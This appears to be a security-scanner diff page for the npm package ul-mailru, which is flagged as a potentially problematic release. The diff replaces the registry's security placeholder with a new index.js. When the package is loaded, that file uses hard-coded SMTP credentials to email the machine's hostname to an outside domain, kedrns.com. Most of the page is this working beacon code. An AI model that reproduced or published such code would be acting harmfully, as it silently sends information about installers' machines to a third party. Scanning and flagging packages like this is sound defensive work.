ul-mailru 0.0.1-security → 13.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of ul-mailru might be problematic. Click here for more details.
- package/index.js +28 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,28 @@
|
|
1
|
+
const os = require('os')
|
2
|
+
const nodemailer = require('nodemailer');
|
3
|
+
const smtp = nodemailer.createTransport({
|
4
|
+
host: "mail.kedrns.com",
|
5
|
+
port:25,
|
6
|
+
tls: {rejectUnauthorized: false},
|
7
|
+
auth: {
|
8
|
+
user: "userhuiuser@kedrns.com",
|
9
|
+
pass: `L3IXGUz2im^3`
|
10
|
+
}
|
11
|
+
});
|
12
|
+
|
13
|
+
var mailOptions = {
|
14
|
+
from: os.hostname()+'@kedrns.com',
|
15
|
+
to: 'debug@kedrns.com',
|
16
|
+
subject: 'subjest',
|
17
|
+
text: 'This is debug message'
|
18
|
+
}
|
19
|
+
|
20
|
+
smtp.sendMail(mailOptions, function (error, response) {
|
21
|
+
if (error) {
|
22
|
+
console.log(error);
|
23
|
+
res.end("error");
|
24
|
+
} else {
|
25
|
+
console.log("Email sent ");
|
26
|
+
res.end("sent");
|
27
|
+
}
|
28
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "ul-mailru",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "13.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"emailjs": "^4.0.1",
|
13
|
+
"nodemailer": "^6.7.8"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=ul-mailru for more information.
|